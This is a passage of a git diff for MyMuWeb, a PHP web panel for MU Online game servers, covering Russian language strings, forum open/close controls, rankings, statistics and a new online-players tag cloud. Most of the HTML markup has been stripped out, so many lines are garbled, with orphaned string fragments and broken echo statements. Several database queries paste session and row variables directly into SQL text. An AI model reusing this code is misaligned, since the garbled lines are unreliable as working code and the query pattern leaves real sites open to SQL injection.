игре"); +define('mmw_lang_total_users_online',"Всего В игре"); +define('mmw_lang_on_server',"На Сервере"); define('mmw_lang_version',"Версия"); define('mmw_lang_experience',"Опыт"); -define('mmw_lang_drops',"Drops"); +define('mmw_lang_drops',"Дроп"); define('mmw_lang_type',"Тип"); define('mmw_lang_online',"Онлайн"); define('mmw_lang_offline',"Оффлайн"); @@ -74,12 +76,11 @@ define('mmw_lang_char',"Перс."); define('mmw_lang_full_name',"Имя"); define('mmw_lang_age',"Возраст"); -define('mmw_lang_reg_date',"Reg. Date"); define('mmw_lang_avatar',"Аватар"); define('mmw_lang_country',"Страна"); define('mmw_lang_gender',"Пол"); define('mmw_lang_cant_add_comment_no_char',"Извините, вы не имеете Персонажа!"); -define('mmw_lang_guest_must_be_logged_on',"Гость, Вы должен быть зарегистрирован!"); +define('mmw_lang_guest_must_be_logged_on',"Гость, Вы должны зарегистрироваться!"); define('mmw_lang_week_mon',"Пон"); define('mmw_lang_week_tue',"Вто"); define('mmw_lang_week_fri',"Пят"); @@ -137,8 +138,7 @@ define('mmw_lang_secret_answer',"Секретный Ответ"); define('mmw_lang_male',"Парень"); define('mmw_lang_female',"Девушка"); -define('mmw_lang_verify_code',"Проверочный Код"); -define('mmw_lang_verify_input',"Проверочный Ввод"); +define('mmw_lang_security_code',"Код безопасности"); define('mmw_lang_renew',"Обновить"); //Market @@ -205,13 +205,13 @@ define('mmw_lang_guilds',"Гильдий"); define('mmw_lang_server',"Сервер"); define('mmw_lang_connect_date',"Дата Входа"); -define('mmw_lang_all_characters_is_offline',"Все Пермонажы Оффлайн"); define('mmw_lang_alliance',"Альянс"); define('mmw_lang_guilds_in_alliance',"Гильдии в Альянсе"); define('mmw_lang_guild_member',"Член Гильдии"); define('mmw_lang_battle_master',"Боевой Мастер"); define('mmw_lang_assistant_guild_master',"Помощник Мастера Гильдии"); define('mmw_lang_guild_master',"Мастер Гильдии"); +define('mmw_lang_all_characters_is_offline',"Все персонажы Оффлайн"); //Gallery define('mmw_lang_image',"Изображения"); @@ -222,7 +222,7 @@ define('mmw_lang_image_comment',"Комментарий"); define('mmw_lang_upload',"Послать"); define('mmw_lang_image_size',"Размеры Изображения"); -define('mmw_lang_file_size',"Размеры Файла"); +define('mmw_lang_file_size',"Размер Файла"); define('mmw_lang_image_exists',"Изображения с таким имени уже есть!"); define('mmw_lang_file_size_max',"Размеры Файла очень большой!"); define('mmw_lang_image_no_image',"Это не *.jpg,*.png,*.gif Формат!"); @@ -249,10 +249,15 @@ define('mmw_lang_select_map',"Выберите Карту"); define('mmw_lang_need',"Надо"); define('mmw_lang_no_up_point_found',"Нету Пойнтов!"); -define('mmw_lang_no_pk_status_found',"Нету Статуса Убийцы!"); +define('mmw_lang_no_pk_status_found',"Не Статуса Убийцы!"); define('mmw_lang_add_point',"Добавить Пойнты"); define('mmw_lang_pk_clear',"Очистка Убийцы"); +define('mmw_lang_need_6_level',"Надо 6 Уровень!"); define('mmw_lang_move',"Перемещения"); +define('mmw_lang_select_class',"Выберите Класс"); +define('mmw_lang_change_class',"Изменить Класс"); +define('mmw_lang_class_price',"Рядом Цена Класса"); +define('mmw_lang_change',"Изменить"); define('mmw_lang_up_point',"Пойнты"); //Mail @@ -317,6 +322,7 @@ define('mmw_lang_character_does_not_exist',"Персонаж не Существует!"); define('mmw_lang_for_reset_need',"Для Ресет Надо"); define('mmw_lang_reset_limit_to',"Ресет Лимит до"); +define('mmw_lang_take_off_set',"Вы Забыли Снять Сэт с Персонажа"); define('mmw_lang_character_reseted',"Персонаж Успешно Ресет!"); define('mmw_lang_point_must_be_number',"Пойнты должен быть положительными цифрами!"); define('mmw_lang_dont_have_point',"Персонаж не Имеют Стоко Пойнтов
В настоящее время:"); @@ -359,5 +365,7 @@ define('mmw_lang_minimum_zen_can_send',"минимум Zen Можно Послать! У вас:"); define('mmw_lang_no_zen_for_send_zen',"Невозможно послать Zen, У вас недостаточно для Стоимость услуги:"); define('mmw_lang_zen_sent',"Zen Для Персонажа Успешно Послано!"); +define('mmw_lang_change_class_need',"Для Изменения Класса Надо"); +define('mmw_lang_character_changed',"Персонажа Класс Успешно Изменён!"); ?> \ No newline at end of file diff --git a/logs.php b/logs.php index da012ae..0ace587 100644 --- a/logs.php +++ b/logs.php @@ -9,7 +9,7 @@ MMW Admin Logs - +
 
 
 
- +
diff --git a/media/player.php b/media/player.php index 69e3d0c..467a4ef 100644 --- a/media/player.php +++ b/media/player.php @@ -36,5 +36,5 @@ ?>
- +
\ No newline at end of file diff --git a/media/playlist.xml b/media/playlist.xml deleted file mode 100644 index a91a2ce..0000000 --- a/media/playlist.xml +++ /dev/null @@ -1,27 +0,0 @@ - - - MuOnline MMORPG Music by Vaflan - MyMuWeb By Vaflan - http://tk3.clan.su - - - - - media/Main.mp3 - 1. Main.mp3 - MyMuWeb - MuOnline MMORPG Music by Vaflan - media/?f=Main.mp3 - - - - media/Main.mp3 - 1. Main.mp3 - MyMuWeb - MuOnline MMORPG Music by Vaflan - media/?f=Main.mp3 - - - - - \ No newline at end of file diff --git a/media/tagcloud.swf b/media/tagcloud.swf new file mode 100644 index 0000000..d8d6c5c Binary files /dev/null and b/media/tagcloud.swf differ diff --git a/media/title.jpg b/media/title.jpg deleted file mode 100644 index 6a7789e..0000000 Binary files a/media/title.jpg and /dev/null differ diff --git a/menu.php b/menu.php index 36d4ad2..4720752 100644 --- a/menu.php +++ b/menu.php @@ -1,18 +1,25 @@ '.mmw_lang_information.'
','?op=info'), + array(mmw_lang_information,'?op=info'), array(mmw_lang_statistics,'?op=statistics'), array(mmw_lang_castle_siege,'?op=castlesiege'), array(mmw_lang_gallery,'?op=gallery'), array(mmw_lang_rankings,'?op=rankings'), - array(''.mmw_lang_register.'','?op=register'), + array(mmw_lang_register,'?op=register'), array(mmw_lang_blocked,'?op=blocked'), array(mmw_lang_search,'?op=search'), - array(''.mmw_lang_forum.'','?op=forum') + array(mmw_lang_forum,'?op=forum'), + array(mmw_lang_online,'?op=rankings&sort=3d_online') ); ?> \ No newline at end of file diff --git a/modules/castlesiege.php b/modules/castlesiege.php index 86587b8..5ddaa98 100644 --- a/modules/castlesiege.php +++ b/modules/castlesiege.php @@ -1,5 +1,6 @@ '.mmw_lang_is_opened.'';} +if($mmw[castle_siege] == 'yes') { +if($check=@fsockopen($mmw[gs_cs_ip],$mmw[gs_cs_port],$ERROR_NO,$ERROR_STR,(float)0.3)){fclose($check); $cs_status = ''.mmw_lang_is_opened.'';} else{$cs_status = ''.mmw_lang_is_closed.'';} $query = mssql_query("SELECT owner_guild,siege_start_date,siege_end_date,money,tax_hunt_zone FROM MuCastle_DATA"); @@ -9,7 +10,7 @@ $cs_guild = $row[0]; $cs_guild_master = $cs_guild_row[0]; $logo = urlencode(bin2hex($cs_guild_row[1])); - $cs_guild_mark = "',false); return false\">"; + $cs_guild_mark = ""; } else { $cs_guild = "None"; @@ -116,4 +117,9 @@
Castle Siege
\ No newline at end of file + +' . mmw_lang_is_closed . ''; +}?> \ No newline at end of file diff --git a/modules/character.php b/modules/character.php index faa04c4..9b30d0d 100644 --- a/modules/character.php +++ b/modules/character.php @@ -1,5 +1,5 @@ ',false); return false\"> $guildm[0]"; +$guild_end = " $guildm[0]"; } if($info[12]==NULL || $info[12]==" "){$info[12] = mmw_lang_no_kills;} diff --git a/modules/downloads.php b/modules/downloads.php index c440838..24ba6b3 100644 --- a/modules/downloads.php +++ b/modules/downloads.php @@ -1,12 +1,15 @@ - $row[0]".mmw_lang_date.": $row[3] - ".mmw_lang_download." $row[0] ".mmw_lang_from_here."
".mmw_lang_description.": $row[2] + $row[0]".mmw_lang_date.": $row[4] + ".mmw_lang_download." $row[0] ".mmw_lang_from_here."
".mmw_lang_description.": $row[2]
".mmw_lang_file_size.": $row[3] $rowbr"; } ?> diff --git a/modules/forum.php b/modules/forum.php index 0a1f2b7..c42c2e6 100644 --- a/modules/forum.php +++ b/modules/forum.php @@ -2,6 +2,8 @@ if(isset($_SESSION['char_set']) && isset($_SESSION['pass']) && isset($_SESSION['user'])) { echo '
[ '.mmw_lang_new_topic.' ]
'; if(isset($_POST['f_id_delete'])){require("includes/character.class.php"); option::forum_delete($_POST['f_id_delete']);} +if(isset($_POST['f_id_close'])){require("includes/character.class.php"); option::forum_status($_POST['f_id_close'],'1');} +if(isset($_POST['f_id_open'])){require("includes/character.class.php"); option::forum_status($_POST['f_id_open'],'0');} } else { echo '
[ '.mmw_lang_guest_must_be_logged_on.' ]
'; @@ -18,7 +20,7 @@ $result = mssql_query("SELECT c_id FROM MMW_comment WHERE c_id_blog='2'"); $total_comm_post = mssql_num_rows($result); -$result = mssql_query("SELECT f_id,f_char,f_title,f_date,f_lostchar FROM MMW_forum ORDER BY f_date DESC"); +$result = mssql_query("SELECT f_id,f_char,f_title,f_date,f_lostchar,f_status FROM MMW_forum ORDER BY f_date DESC"); $total_post = mssql_num_rows($result); ?> @@ -59,13 +61,24 @@ } else {$lost_comm = '';} - if($_SESSION['admin'] >= $mmw[forum_can_delete] || $_SESSION['char_set'] == $row[1]) + if($_SESSION['mmw_status'] >= $mmw[forum_can_delete] || $_SESSION['char_set'] == $row[1]) {$delete = "";} else {$delete = '';} + if($_SESSION['mmw_status'] >= $mmw[forum_can_status] && $row[5]==0) + {$close = "";} + elseif($_SESSION['mmw_status'] >= $mmw[forum_can_status] && $row[5]==1) + {$close = "";} + else {$close = '';} + + if($row[5]==1) {$status = 'closed';} + elseif($now_date - 86400 < $row[3] && $row[4]=='') {$status = 'hot';} + elseif($now_date < $row[3] + 259200 && $row[4]=='') {$status = 'hot_no';} + elseif($now_date - 259200 > $row[3]) {$status = 'old';} + else {$status = 'normal';} echo ' - + diff --git a/modules/forum_full.php b/modules/forum_full.php index e9fbfd6..66f71d4 100644 --- a/modules/forum_full.php +++ b/modules/forum_full.php @@ -2,14 +2,14 @@ $id_forum = clean_var(stripslashes($_GET['forum'])); if($id_forum == "add" && isset($_SESSION['user']) && isset($_SESSION['char_set'])) { -if(isset($_POST['title'])) {require("includes/character.class.php"); option::forum_send($_POST['title'],$_POST['text']); echo $rowbr;} +if(isset($_POST['subject'])) {require("includes/character.class.php"); option::forum_send($_POST['subject'],$_POST['text']); echo $rowbr;} ?>
'.$row[2].' '.$delete.' '.$row[2].' '.$delete.' '.$close.' '.$comm_num.' '.$row[1].' '.$lost_comm.'
- + @@ -30,12 +30,12 @@ ";} else {$avatar_c_e="No ";} + if($_SESSION['mmw_status'] >= $mmw[forum_can_delete] || $_SESSION['char_set'] == $row[1]) + {$delete = "";} + else {$delete = '';} + if($_SESSION['mmw_status'] >= $mmw[forum_can_status] && $row[6]==0) + {$close = "";} + elseif($_SESSION['mmw_status'] >= $mmw[forum_can_status] && $row[6]==1) + {$close = "";} + else {$close = '';} + if($row[6]==1) {$status = 'closed';} elseif($now_date - 86400 < $row[4] && $row[5]=='') {$status = 'hot';} + elseif($now_date < $row[4] + 259200 && $row[5]=='') {$status = 'hot_no';} elseif($now_date - 259200 > $row[4]) {$status = 'old';} else {$status = 'normal';} echo '
:'>'>
:
- + '.$avatar_c_e.'
+ '.mmw_lang_char.': '.$row[1].' +
- '.$avatar_c_e.'
'.$row[1].'
'.$row[2].'
'.bbcode($row[3]).'
'.$row[2].' '.$delete.' '.$close.'
'.bbcode($row[3]).'
'; $c_id_blog = "2"; $c_id_code = $id_forum; + if($row[6]==1) {$c_add_close = "yes";} include("includes/comment.php"); } diff --git a/modules/gallery.php b/modules/gallery.php index dcb2796..fec3c17 100644 --- a/modules/gallery.php +++ b/modules/gallery.php @@ -2,6 +2,7 @@ // Search All Images in Folder. // Gallery By Vaflan. // For MyMuWeb. +// Vers. 1.2 $dir = "gallery/"; @@ -127,7 +128,7 @@ $file_list = $file_list . " +
- $name $edit
".mmw_lang_author.": $author
".mmw_lang_image_comment.": $comment
".mmw_lang_date.": ".date('d.m.Y H:i:s',$date)."
".mmw_lang_image_size.": $width x $height
".mmw_lang_file_size.": $size Bytes
\n " . $rowbr; } diff --git a/modules/guild.php b/modules/guild.php index e162e07..e55ac6f 100644 --- a/modules/guild.php +++ b/modules/guild.php @@ -1,5 +1,5 @@ ';} - elseif($status[0] == 1 && $statusdc[0] != $row[0]) - {$status[0] ='';} else {$status[0] ='';} $rank = $i+1; diff --git a/modules/info.php b/modules/info.php index fcca4ce..af6ef94 100644 --- a/modules/info.php +++ b/modules/info.php @@ -5,7 +5,7 @@
Your Info About Server, This is MMW - MyMuWeb by Vaflan.
This text can edit in modules/info.php.
-Visit: http://tk3.clan.su

+Visit: http://mmw.clan.su

@@ -39,7 +39,7 @@ -
+
diff --git a/modules/lostpass.php b/modules/lostpass.php index b37990f..678c833 100644 --- a/modules/lostpass.php +++ b/modules/lostpass.php @@ -1,5 +1,5 @@ = $from){ $date = date("d.m.Y", $row[3]); - if($row[5][1]!=''){$news_eng="
English:
".bbcode(substr($row[5],0,$mmw[long_news_txt]))." ...";} else{$news_eng="";} - if($row[6][1]!=''){$news_rus="
Russian:
".bbcode(substr($row[6],0,$mmw[long_news_txt]*2))." ...";} else{$news_rus="";} + if($row[5][1]!='' && $mmw[long_news_txt]!=0){$news_eng="
English:
".bbcode(substr($row[5],0,$mmw[long_news_txt]))." ...";} + elseif($row[5][1]!='' && $mmw[long_news_txt]==0){$news_eng="
English:
".bbcode($row[5]);} + else {$news_rus="";} + if($row[6][1]!='' && $mmw[long_news_txt]!=0){$news_rus="
Russian:
".bbcode(substr($row[6],0,$mmw[long_news_txt]*2))." ...";} + elseif($row[6][1]!='' && $mmw[long_news_txt]==0){$news_rus="
Russian:
".bbcode($row[6]);} + else {$news_rus="";} $comm_result = mssql_query("SELECT c_id FROM MMW_comment WHERE c_id_blog='1' AND c_id_code='$row[4]'"); $comm_num = mssql_num_rows($comm_result); @@ -31,12 +35,12 @@ } if($pg > 1){ $prev = ($pg - 1); // Previous Link -$paginator = " ";} +$paginator = " ";} for($i = 1; $i <= $total_pgs; $i++){ /// Numbers if(($pg) == $i) { $paginator .= ' '.$i.' '; } else { $paginator .=' '.$i.' '; }} if($pg < $total_pgs){ $next = ($pg + 1); // Next Link -$paginator .= " ";} +$paginator .= " ";} echo $rowbr . "
[ $paginator ]
"; ?> \ No newline at end of file diff --git a/modules/profile.php b/modules/profile.php index b412cdd..454ceb8 100644 --- a/modules/profile.php +++ b/modules/profile.php @@ -1,7 +1,10 @@ -
Sys. Minimum
+
- + @@ -35,10 +38,10 @@ - + - + @@ -61,4 +64,44 @@ +
::
:
::
:
+ + + + + + + + + + + +'; +} + +for($i=0; $i<$row_num; ++$i) { + $rank = $i+1; + $row = mssql_fetch_row($result); + $status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$account_get'"); + $status = mssql_fetch_row($status_reults); + $statusdc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$account_get'"); + $statusdc = mssql_fetch_row($statusdc_reults); + + if($status[0] == 1 && $statusdc[0] == $row[0]) {$status[0] ='';} + else {$status[0] ='';} + +echo " + + + + + + "; +} +?>
#
'.mmw_lang_no_characters.'
$rank$status[0] $row[0]$row[3]$row[2]".char_class($row[1],off)."
\ No newline at end of file diff --git a/modules/rankings.php b/modules/rankings.php index 4394ea2..978fad5 100644 --- a/modules/rankings.php +++ b/modules/rankings.php @@ -7,7 +7,7 @@ '; } -for($i=0;$i < $row_num;++$i) { - $rank = $i+1; - $row = mssql_fetch_row($result); - $status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$row[4]'"); - $status = mssql_fetch_row($status_reults); - $statusdc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$row[4]'"); - $statusdc = mssql_fetch_row($statusdc_reults); - $guild_reults = mssql_query("Select G_Name from GuildMember where Name='$row[0]'"); - $guild = mssql_fetch_row($guild_reults); - - if($status[0] == 1 && $statusdc[0] == $row[0]) - {$status[0] ='';} - elseif($status[0] == 1 && $statusdc[0] != $row[0]) - {$status[0] ='';} - else {$status[0] ='';} +for($i=0; $i<$row_num; ++$i) { + $rank = $i+1; + $row = mssql_fetch_row($result); + $status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$row[4]'"); + $status = mssql_fetch_row($status_reults); + $statusdc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$row[4]'"); + $statusdc = mssql_fetch_row($statusdc_reults); + $guild_reults = mssql_query("Select G_Name from GuildMember where Name='$row[0]'"); + $guild = mssql_fetch_row($guild_reults); + + if($status[0] == 1 && $statusdc[0] == $row[0]) {$status[0] ='';} + else {$status[0] ='';} echo " @@ -56,6 +57,6 @@ "; - } +} ?>
-
+ :
@@ -39,9 +40,7 @@
\ No newline at end of file diff --git a/modules/rankings/3d_online.php b/modules/rankings/3d_online.php new file mode 100644 index 0000000..3ef6ba2 --- /dev/null +++ b/modules/rankings/3d_online.php @@ -0,0 +1,46 @@ +\n
".mmw_lang_total_users_online.": $row_num, ".mmw_lang_character." [".mmw_lang_reset."/".mmw_lang_level."]"; + +for($i=0;$i < $row_num;++$i) { + $rand = rand(6,10); + $row = mssql_fetch_row($result); + $idc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$row[0]'"); + $idc = mssql_fetch_row($idc_reults); + $char_reults = mssql_query("Select Name,Class,Reset,cLevel,AccountID from Character where name='$idc[0]'"); + $char = mssql_fetch_row($char_reults); + + $mmwflashbody = $mmwflashbody . "%3Ca href=%27%3Fop=character%26character=$char[0]%27 %62%79=%27%76%61%66%6C%61%6E%27 style=%27font-size: ".$rand."pt;%27%3E$char[0] [$char[2]/$char[3]]%3C/a%3E "; +} +?> + +
+

+ +

+

+
+ + + \ No newline at end of file diff --git a/modules/rankings/character.php b/modules/rankings/character.php index f1ca355..6956cf2 100644 --- a/modules/rankings/character.php +++ b/modules/rankings/character.php @@ -1,4 +1,8 @@
'.mmw_lang_no_characters.'
$rank".char_class($row[1],off)." $guild[0]
\ No newline at end of file diff --git a/modules/rankings/guild.php b/modules/rankings/guild.php index 6db9b9c..6af4dc8 100644 --- a/modules/rankings/guild.php +++ b/modules/rankings/guild.php @@ -1,4 +1,8 @@

 
@@ -14,9 +18,7 @@ '.mmw_lang_no_guilds.''; -} +if($row_num==0) {echo ''.mmw_lang_no_guilds.'';} for($i=0;$i < $row_num;++$i) { @@ -30,11 +32,11 @@ echo " $rank - $row[0] + $row[0] $row[1] - $row[2] + $row[2] $members - ',false); return false\"> + "; } ?> diff --git a/modules/rankings/online.php b/modules/rankings/online.php index 2b81de5..b41566d 100644 --- a/modules/rankings/online.php +++ b/modules/rankings/online.php @@ -1,7 +1,14 @@ -

 
+

 
@@ -14,8 +21,6 @@ '; } diff --git a/modules/rankings/pk.php b/modules/rankings/pk.php index 2b55e79..5ffdc67 100644 --- a/modules/rankings/pk.php +++ b/modules/rankings/pk.php @@ -1,4 +1,8 @@

 
@@ -29,10 +33,7 @@ $statusdc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$row[4]'"); $statusdc = mssql_fetch_row($statusdc_reults); -if($status[0] == 1 && $statusdc[0] == $row[0]) - {$status[0] ='';} -elseif($status[0] == 1 && $statusdc[0] != $row[0]) - {$status[0] ='';} +if($status[0] == 1 && $statusdc[0] == $row[0]) {$status[0] ='';} else {$status[0] ='';} echo " diff --git a/modules/rankings/search_char.php b/modules/rankings/search_char.php index befa24a..f272160 100644 --- a/modules/rankings/search_char.php +++ b/modules/rankings/search_char.php @@ -1,4 +1,8 @@ diff --git a/modules/register.php b/modules/register.php index 2df8bf0..77b2de3 100644 --- a/modules/register.php +++ b/modules/register.php @@ -95,12 +95,8 @@ function check_register_form() - - - - - - + + diff --git a/modules/statistics.php b/modules/statistics.php index 16b7467..f0f8733 100644 --- a/modules/statistics.php +++ b/modules/statistics.php @@ -1,7 +1,7 @@ 0) {$procent = substr(100 * $characters[0] / $total_characters[0], 0, 4);} +else {$procent = 0;} if($type==0) {$return = $procent;} else {$return = $characters[0];} return $return; @@ -24,7 +26,8 @@ function s_characters_done($type,$class) { function s_map_done($type,$map) { $total_characters = mssql_fetch_row( mssql_query("SELECT count(*) FROM Character") ); $in_map_char = mssql_fetch_row( mssql_query("SELECT count(*) FROM Character WHERE mapnumber = $map") ); -$procent = substr(100 * $in_map_char[0] / $total_characters[0], 0, 4); +if($in_map_char[0] > 0) {$procent = substr(100 * $in_map_char[0] / $total_characters[0], 0, 4);} +else {$procent = 0;} if($type==0) {$return = $procent;} else {$return = $in_map_char[0];} return $return; @@ -39,7 +42,8 @@ function s_map_done($type,$map) { $in_guilds = mssql_query("Select count(*) from GuildMember WHERE G_Name!='$gm_guild'"); $total_in_guilds = mssql_fetch_row($in_guilds); -$total_in_guilds_results = substr(100 * $total_in_guilds[0] / $total_characters[0], 0, 4); +if($total_in_guilds[0] > 0) {$total_in_guilds_results = substr(100 * $total_in_guilds[0] / $total_characters[0], 0, 4);} +else {$total_in_guilds_results = 0;} $male = mssql_query("Select count(*) from MEMB_INFO where gender='male'"); $male_done = mssql_fetch_row($male); @@ -57,13 +61,13 @@ function s_map_done($type,$map) { $result = mssql_query("SELECT Name,experience,drops,gsport,ip,version,type from mmw_servers order by display_order asc"); $serv_num = mssql_num_rows($result); for($i=0;$i < $serv_num;++$i) { -$row = mssql_fetch_row($result); -if($i < $serv_num - 1){$other_serv = ', ';} else{$other_serv = '';} -if($check=@fsockopen($row[4],$row[3],$ERROR_NO,$ERROR_STR,(float)0.5)) - {fclose($check); $status_done = "".mmw_lang_online."";} -else - {$status_done = "".mmw_lang_offline."";} -echo " ".mmw_lang_experience.": $row[1]
".mmw_lang_drops.": $row[2]
".mmw_lang_type.": $row[6]' ,false); return false\">$row[0]
: $status_done".$other_serv; + $row = mssql_fetch_row($result); + if($i < $serv_num - 1) {$other_serv = ', ';} else {$other_serv = '';} + if($check=@fsockopen($row[4],$row[3],$ERROR_NO,$ERROR_STR,(float)0.3)) + {fclose($check); $status_done = "".mmw_lang_online."";} + else + {$status_done = "".mmw_lang_offline."";} + echo " ".mmw_lang_version.": $row[5]
".mmw_lang_experience.": $row[1]
".mmw_lang_drops.": $row[2]
".mmw_lang_type.": $row[6]\">$row[0]
: $status_done " . $other_serv; } ?> @@ -76,49 +80,49 @@ function s_map_done($type,$map) { - +
#
'.mmw_lang_all_characters_is_offline.'
'.mmw_lang_male.'   '.mmw_lang_female.'
'.mmw_lang_verify_code.'
'.mmw_lang_verify_input.''.mmw_lang_security_code.'
- 100 % ($total_accounts[0])";?> + 100% ($total_accounts[0])";?>
- 100 % ($total_characters[0])";?> + 100% ($total_characters[0])";?>
- $total_banneds_results % ($total_banneds[0])";?> + $total_banneds_results% ($total_banneds[0])";?>
- 100 % ($total_guilds[0])";?> + 100% ($total_guilds[0])";?>
- $total_in_guilds_results % ($total_in_guilds[0])";?> + $total_in_guilds_results% ($total_in_guilds[0])";?>
- $users_connected_results % ($users_connected[0])";?> + $users_connected_results% ($users_connected[0])";?>
- $male_results % ($male_done[0])";?> + $male_results% ($male_done[0])";?>
- $female_results % ($female_done[0])";?> + $female_results% ($female_done[0])";?>
@@ -129,97 +133,97 @@ function s_map_done($type,$map) { - ".s_characters_done(0,0)." % (".s_characters_done(1,0).")";?> + ".s_characters_done(0,0)."% (".s_characters_done(1,0).")";?> - ".s_characters_done(0,1)." % (".s_characters_done(1,1).")";?> + ".s_characters_done(0,1)."% (".s_characters_done(1,1).")";?> - ".s_characters_done(0,2)." % (".s_characters_done(1,2).")";?> + ".s_characters_done(0,2)."% (".s_characters_done(1,2).")";?> - ".s_characters_done(0,16)." % (".s_characters_done(1,16).")";?> + ".s_characters_done(0,16)."% (".s_characters_done(1,16).")";?> - ".s_characters_done(0,17)." % (".s_characters_done(1,17).")";?> + ".s_characters_done(0,17)."% (".s_characters_done(1,17).")";?> - ".s_characters_done(0,18)." % (".s_characters_done(1,18).")";?> + ".s_characters_done(0,18)."% (".s_characters_done(1,18).")";?> - ".s_characters_done(0,32)." % (".s_characters_done(1,32).")";?> + ".s_characters_done(0,32)."% (".s_characters_done(1,32).")";?> - ".s_characters_done(0,33)." % (".s_characters_done(1,33).")";?> + ".s_characters_done(0,33)."% (".s_characters_done(1,33).")";?> - ".s_characters_done(0,34)." % (".s_characters_done(1,34).")";?> + ".s_characters_done(0,34)."% (".s_characters_done(1,34).")";?> - ".s_characters_done(0,48)." % (".s_characters_done(1,48).")";?> + ".s_characters_done(0,48)."% (".s_characters_done(1,48).")";?> - ".s_characters_done(0,50)." % (".s_characters_done(1,50).")";?> + ".s_characters_done(0,50)."% (".s_characters_done(1,50).")";?> - ".s_characters_done(0,64)." % (".s_characters_done(1,64).")";?> + ".s_characters_done(0,64)."% (".s_characters_done(1,64).")";?> - ".s_characters_done(0,66)." % (".s_characters_done(1,66).")";?> + ".s_characters_done(0,66)."% (".s_characters_done(1,66).")";?> - ".s_characters_done(0,80)." % (".s_characters_done(1,80).")";?> + ".s_characters_done(0,80)."% (".s_characters_done(1,80).")";?> - ".s_characters_done(0,81)." % (".s_characters_done(1,81).")";?> + ".s_characters_done(0,81)."% (".s_characters_done(1,81).")";?> - ".s_characters_done(0,82)." % (".s_characters_done(1,82).")";?> + ".s_characters_done(0,82)."% (".s_characters_done(1,82).")";?> @@ -230,109 +234,109 @@ function s_map_done($type,$map) { - ".s_map_done(0,0)." % (".s_map_done(1,0).")";?> + ".s_map_done(0,0)."% (".s_map_done(1,0).")";?> - ".s_map_done(0,1)." % (".s_map_done(1,1).")";?> + ".s_map_done(0,1)."% (".s_map_done(1,1).")";?> - ".s_map_done(0,2)." % (".s_map_done(1,2).")";?> + ".s_map_done(0,2)."% (".s_map_done(1,2).")";?> - ".s_map_done(0,3)." % (".s_map_done(1,3).")";?> + ".s_map_done(0,3)."% (".s_map_done(1,3).")";?> - ".s_map_done(0,4)." % (".s_map_done(1,4).")";?> + ".s_map_done(0,4)."% (".s_map_done(1,4).")";?> - ".s_map_done(0,6)." % (".s_map_done(1,6).")";?> + ".s_map_done(0,6)."% (".s_map_done(1,6).")";?> - ".s_map_done(0,7)." % (".s_map_done(1,7).")";?> + ".s_map_done(0,7)."% (".s_map_done(1,7).")";?> - ".s_map_done(0,8)." % (".s_map_done(1,8).")";?> + ".s_map_done(0,8)."% (".s_map_done(1,8).")";?> - ".s_map_done(0,10)." % (".s_map_done(1,10).")";?> + ".s_map_done(0,10)."% (".s_map_done(1,10).")";?> - ".s_map_done(0,30)." % (".s_map_done(1,30).")";?> + ".s_map_done(0,30)."% (".s_map_done(1,30).")";?> - ".s_map_done(0,31)." % (".s_map_done(1,31).")";?> + ".s_map_done(0,31)."% (".s_map_done(1,31).")";?> - ".s_map_done(0,33)." % (".s_map_done(1,33).")";?> + ".s_map_done(0,33)."% (".s_map_done(1,33).")";?> - ".s_map_done(0,34)." % (".s_map_done(1,34).")";?> + ".s_map_done(0,34)."% (".s_map_done(1,34).")";?> - ".s_map_done(0,41)." % (".s_map_done(1,41).")";?> + ".s_map_done(0,41)."% (".s_map_done(1,41).")";?> - ".s_map_done(0,42)." % (".s_map_done(1,42).")";?> + ".s_map_done(0,42)."% (".s_map_done(1,42).")";?> - ".s_map_done(0,51)." % (".s_map_done(1,51).")";?> + ".s_map_done(0,51)."% (".s_map_done(1,51).")";?> - ".s_map_done(0,56)." % (".s_map_done(1,56).")";?> + ".s_map_done(0,56)."% (".s_map_done(1,56).")";?> - ".s_map_done(0,57)." % (".s_map_done(1,57).")";?> + ".s_map_done(0,57)."% (".s_map_done(1,57).")";?> \ No newline at end of file diff --git a/modules/user/acc.php b/modules/user/acc.php index d7e29d2..bfc090d 100644 --- a/modules/user/acc.php +++ b/modules/user/acc.php @@ -29,7 +29,7 @@ $wh_resoult = mssql_query("Select AccountID,extMoney From warehouse WHERE AccountID = '$login'"); $wh_row = mssql_fetch_row($wh_resoult); $wh_updated = $wh_row[1] + $mmw[zen_for_ref]; mssql_query("UPDATE warehouse SET [extMoney]='$wh_updated' WHERE AccountID = '$login'"); - writelog("referral.php","Account $login Has Been GET Zen: $mmw[zen_for_ref]|For Acc: $referral_row[0]|For Char: $char_ref_row[0]"); + writelog("referral","Account $login Has Been GET Zen: $mmw[zen_for_ref]|For Acc: $referral_row[0]|For Char: $char_ref_row[0]"); } } } @@ -81,7 +81,7 @@ : - + diff --git a/modules/user/char.php b/modules/user/char.php index 37da3de..1e89092 100644 --- a/modules/user/char.php +++ b/modules/user/char.php @@ -6,6 +6,7 @@ if(isset($_POST["stats_char"])) {require("includes/character.class.php");option::add_stats($char_set); echo $rowbr;} if(isset($_POST["clearpk_char"])) {require("includes/character.class.php");option::clear_pk($char_set); echo $rowbr;} if(isset($_POST["move_char"])) {require("includes/character.class.php");option::move($char_set); echo $rowbr;} +if(isset($_POST["change_class_char"])) {require("includes/character.class.php");option::change_class($char_set); echo $rowbr;} $char_results = mssql_query("SELECT Name,class,strength,dexterity,vitality,energy,money,accountid,mapnumber,clevel,reset,LevelUpPoint,pkcount,pklevel,money,leadership,experience FROM Character WHERE Name='$char_set'"); $info = mssql_fetch_row($char_results); @@ -21,13 +22,13 @@ $guild_results = mssql_query("Select G_name,g_mark from Guild where g_name='$guildm[0]'"); $guild_row = mssql_fetch_row($guild_results); $logo = urlencode(bin2hex($guild_row[1])); -$guild_end = "',false); return false\"> $guildm[0]"; +$guild_end = " $guildm[0]"; if($mmw[mix_cs_memb_reset]=="yes") { $cs_query = mssql_query("SELECT owner_guild,money FROM MuCastle_DATA"); $cs_row = mssql_fetch_row($cs_query); if($cs_row[0]==$guildm[0]){ if($mmw[max_zen_cs_reset]>$cs_row[1]){$edited_zen_cs = $cs_row[1];} else{$edited_zen_cs = $mmw[max_zen_cs_reset];} - $cs_memb_reset_zen = ( 